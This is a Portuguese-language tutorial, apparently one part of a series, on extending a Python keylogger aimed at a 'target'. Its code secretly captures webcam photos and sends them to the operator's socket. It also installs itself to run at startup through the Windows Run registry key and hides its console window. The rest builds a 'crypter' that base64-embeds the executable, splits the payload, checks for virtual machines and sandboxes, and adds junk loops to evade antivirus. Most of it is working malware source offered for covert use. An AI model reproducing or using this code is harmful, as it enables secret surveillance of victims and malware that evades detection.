Pra tirar uma foto da webcam com o Python, primeiramente, vamos instalar a biblioteca opencv-python. Num arquivo de teste podemos fazer assim, de forma simples:
import cv2
cam = cv2.VideoCapture(0)
if not cam.isOpened():
print("Erro ao abrir a câmera!")
else:
sucess, rawData = cam.read()
if sucess:
sucess, data = cv2.imencode(".jpg", rawData)
if sucess:
imageData = data.tobytes()
with open("foto-webcam.jpg", "wb") as arqCam:
arqCam.write(imageData)
else:
print("Erro ao codificar a imagem!")
else:
print("Erro ao capturar a imagem!")
cam.release()
As câmeras são contadas a partir do 0 (a padrão), geralmente PCs de mesa não costumam ter webcam, os notebooks tem uma só por padrão.
PS: Algumas câmeras tem luz que liga ao tirar a imagem, por isso pode chamar a atenção do alvo, isso é controlado pelos firmwares da própria câmera.
Daí, pra incluir isso no keylogger, basta definir essa função:
def camShot(sock):
cam = cv2.VideoCapture(0) # Import cv2
if not cam.isOpened():
sendData("alerta", "Erro ao abrir a câmera!", sock)
else:
sucess, rawData = cam.read()
if sucess:
sucess, data = cv2.imencode(".jpg", rawData)
if sucess:
date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") # Importe datetime
fileName = f"webcam-{date}.jpg"
imageData = data.tobytes()
sendFile(fileName, imageData, sock)
else:
sendData("alerta", "Erro ao codificar a imagem!", sock)
else:
sendData("alerta", "Erro ao capturar a imagem!", sock)
cam.release()
E no recvData do keylogger, basta adicionar esse elif abaixo do elif de screenshot:
elif comando == "webcam":
camShot(sock)
O autorun é pra garantir que, quando o alvo reiniciar o Windows, nosso script continue funcionando. Para isso, usaremos a biblioteca winreg. No caso, ao executar pela primeira vez, ele enviará o nosso script para um diretório pouco mexido, como o Temp, e adicionará uma entrada no registro do Windows.
Faça um arquivo de teste com esse código:
import os
import tempfile
scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
tempPath = tempfile.gettempdir() # Pasta temporária
print(scriptPath)
print(tempPath)
Daí pra copiar o script pro Temp, fazemos assim:
import os
import shutil
import tempfile
scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
tempPath = tempfile.gettempdir() # Pasta temporária
shutil.copy(scriptPath, tempPath)
Só que ele dará erro ao executar quando ele já estiver na Temp, então devemos fazer o tratamento no shutil assim:
try:
shutil.copy(scriptPath, tempPath)
except shutil.SameFileError:
pass
Daí, pra adicionar chaves do registro, basicamente fazemos assim:
import os
import shutil
import tempfile
import winreg
scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
tempPath = tempfile.gettempdir() # Pasta temporária
caminho = os.path.join(tempPath, os.path.basename(scriptPath))
try:
shutil.copy(scriptPath, tempPath)
subChave = r"Software\Microsoft\Windows\CurrentVersion\Run" # O r anula todos os caracteres especiais, dispensando a barra invertida dupla
nome = "MeuScriptTeste"
registro = winreg.OpenKey(winreg.HKEY_CURRENT_USER, subChave, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(registro, nome, 0, winreg.REG_SZ, caminho)
except shutil.SameFileError:
pass
Só que, ao empacotar o Python num exe, ele poderá dar problemas. Para compilar, instale o pyinstaller através do pip, depois pelo CMD, digite pyinstaller -F Teste.py. Ele gerará um executável, no entanto, ele não conseguirá colocar um script com extensão py pro Temp, já que a biblioteca os só pega o script Python. Para isso, altere a linha do scriptPath assim:
if getattr(sys, "frozen", False): # Verifica se ele está congelado num exe, importe sys
scriptPath = os.path.realpath(sys.executable)
else:
scriptPath = os.path.realpath(__file__)
Daí, no keylogger, basta colocar essa função:
# Importe sys, tempfile, shutil e winreg
def autoRun():
if getattr(sys, "frozen", False): # Verifica se ele está congelado num exe
scriptPath = os.path.realpath(sys.executable)
else:
scriptPath = os.path.realpath(__file__) # Autoreferência ao script no caminho atual
tempPath = tempfile.gettempdir() # Pasta temporária
caminho = os.path.join(tempPath, os.path.basename(scriptPath))
try:
shutil.copy(scriptPath, tempPath)
subChave = r"Software\Microsoft\Windows\CurrentVersion\Run" # O r anula todos os caracteres especiais
nome = "Inicio"
registro = winreg.OpenKey(winreg.HKEY_CURRENT_USER, subChave, 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(registro, nome, 0, winreg.REG_SZ, caminho)
except shutil.SameFileError:
pass
Daí, podemos colocar a invocação da função autoRun no final do script, antes do While True:
autoRun()
while True:
sock = tentarConec()
recvData(sock)
Os antivírus conseguem identificar facilmente nossos programas criados com o Python, até porque ele analisa diretamente o código-fonte dos mesmos. Podemos criar um executável com os scripts Python empacotados. Podemos colocar nossos scripts ou mesmo os executáveis no site Vírus Total pra ver quantos e quais antivírus detectam ele.
Outras formas que os antivírus usam pra detectar malwares, é comparar a assinatura dos arquivos com as assinaturas de malwares que estão no banco de dados dos mesmos.
Os antivírus modernos já utilizam a análise comportamental dos arquivos (como ver se ele adiciona determinadas chaves no registro ou criptografa arquivos), essa é a análise estática.
Já a análise dinâmica analisa o que o malware faz em tempo de execução (ou seja, monitora a execução dos mesmos), mas isso, apesar de eficiente, consome muitos recursos do computador, por isso eles usam um meio-termo entre os dois.
Muitos antivírus modernos, no entanto, usam uma IA para analisar os malwares.
Podemos usar ofuscadores para mascarar
nossos malwares, isso veremos mais pra frente.
Podemos criar um crypter para que um antívirus, bot ou coisa parecida não analise nosso malware, pois este ofusca nosso malware de forma que ele seja injetado diretamente na memória.
Vamos supor esse programa de teste:
d = """
print('Teste')
"""
exec(d)
No caso, a função exec executa tudo que está na string atribuída à variável d, no caso, o print com a string Teste
.
Uma outra forma muito utilizada é carregar nosso executável dentro do código, codificando o exe dele num código dentro do script Python. Dessa forma, mesmo ele sendo detectado, ele já estará executando o código.
PS: No nosso keylogger, remova todos os prints para nada ser exibido pro alvo.
Para empacotar nosso keylogger, utilize pyinstaller -F -w Keylogger.py. A opção -w é pra ele não executar nenhum console, pra que não chame a atenção do alvo. Claro que ele aparecerá no gerenciador de tarefas normalmente, apenas não será exibido nenhum prompt ou coisa parecida. Podemos também especificar um ícone com a opção -i
, como -i nomedoicone.ico.
Podemos carregar nosso exe, num código num novo arquivo (como Cripter.py) como esse:
import sys
with open(sys.argv[1], "rb") as arqExe:
print(arqExe.read())
Daí, é só passar o executável como argumento, no formato python Cripter.py Keylogger.exe.
Deixe depois o mesmo código assim:
import sys
import base64
with open(sys.argv[1], "rb") as arqExe:
encCode = base64.b64encode(arqExe.read())
rawCode = f"""
encCode = {encCode}
"""
with open("codigo.py", "w") as arqCod:
arqCod.write(rawCode)
os.chmod("codigo.py", 0o777)
Aí, altere o rawCode assim:
rawCode = f"""
import base64
encCode = {encCode}
with open("code.exe", "wb") as arqExe:
arqExe.write(base64.b64decode(encCode))
"""
E depois assim (instale o psutil primeiro):
rawCode = f"""
import base64
import psutil
encCode = {encCode}
with open("code.exe", "wb") as arqExe:
arqExe.write(base64.b64decode(encCode))
process = psutil.Popen("code.exe")
while process.is_running():
pass
"""
Dentro do rawCode, deixe assim:
rawCode = f"""
import base64
import psutil
def criarProc():
process = psutil.Popen("code.exe")
while process.is_running():
pass
def filed():
encCode = {encCode}
return base64.b64decode(encCode)
def saveFile():
with open("code.exe", "wb") as arqExe:
arqExe.write(filed())
saveFile()
criarProc()
"""
Pode ser que assim, seja mais difícil (não impossível) de alguns antivírus o pegar. Fique de olho com comentários com caracteres unicode, pois podem dar erro ao gerar o script.
Podemos fazer uma verificação se ele está sendo executando numa máquina virtual, como verificando a memória do mesmo, já que as VM tem memória e CPUs reduzidas, em contraste com um sistema principal
. O mesmo vale pra sandbox de antivírus, que criam um ambiente distinto pra testar os programas pra ver se tem malwares.
Pra pegar as CPUs físicas e lógicas, fazemos assim, num arquivo de teste:
import psutil
fCpu = psutil.cpu_count(logical = False) # CPUs físicas
lCpu = psutil.cpu_count(logical = True) # CPUs lógicas
cpu = fCpu + lCpu
print(fCpu)
print(lCpu)
No exemplo, ele pode retornar, por exemplo, duas CPUs físicas e duas lógicas, totalizando 4 CPUs.
Pra pegar a memória, fazemos assim:
memTot = psutil.virtual_memory().total
mem = memTot / (1024 ** 2) # Convertendo o valor de B pra MB
print(mem)
E pra verificar se é ou não máquina virtual:
import psutil
fCpu = psutil.cpu_count(logical = False) # CPUs físicas
lCpu = psutil.cpu_count(logical = True) # CPUs lógicas
cpu = fCpu + lCpu
memTot = psutil.virtual_memory().total
mem = memTot / (1024 ** 2) # Convertendo o valor de B pra MB
if mem > 8000 and cpu >= 4:
print("Não é Máquina Virtual!")
else:
print("É Máquina Virtual!")
Daí, dentro das aspas de rawCode do Cripter, coloque isso no lugar da invocação das funções:
fCpu = psutil.cpu_count(logical = False) # CPUs físicas
lCpu = psutil.cpu_count(logical = True) # CPUs lógicas
cpu = fCpu + lCpu
memTot = psutil.virtual_memory().total
mem = memTot / (1024 ** 2) # Convertendo o valor de B pra MB
if mem > 8000 and cpu >= 4:
saveFile()
criarProc()
else:
exit()
Daí, é só compilar o código Python gerado (como no caso, codigo.py).
Pra dificultar a detecção de antivírus, podemos colocar o método filed assim:
def filed():
for i in range(65536):
if i == False
continue
# O restante deixa igual
E o if e else abaixo, deixe assim:
if mem > 8000 and cpu >= 4:
saveFile()
criarProc()
else:
for i in range(65536):
if i > 1024:
exit()
Isso é pra que um antivírus fique confuso
ao tentar analisar o script, por não entender direito o que ele faz.
Pra dividir um código base64, podemos fazer assim, num arquivo de teste:
import base64
import math
with open("Keylogger.py", "r") as arqKey:
encCode = base64.b64encode(arqKey.read()).decode()
print(math.floor(len(encCode) / 2))
Fazendo o mesmo com os executáveis:
import base64
import math
with open("Keylogger.exe", "rb") as arqKey:
encCode = base64.b64encode(arqKey.read()).decode()
metade = math.floor(len(encCode) / 2)
p1 = encCode[:metade]
p2 = encCode[metade:]
junto = p1 + p2
with open("code.exe", "wb") as arqCod:
arqCod.write(base64.b64decode(junto))
E aí, no Cripter, deixe o primeiro with open assim:
with open(sys.argv[1], "rb") as arqExe:
encCode = base64.b64encode(arqExe.read()).decode()
metade = math.floor(len(encCode) / 2)
p1 = encCode[:metade]
p2 = encCode[metade:]
E deixe o método filed assim:
def filed():
p2 = {p2}
for i in range(65536):
if i == False:
continue
p1 = {p1} # p1 e p2 estão separados propositalmente
x = 1
while x < 30: # Mais um while pra confundir os antivírus
x += 1
junto = p1 + p2
return base64.b64decode(junto)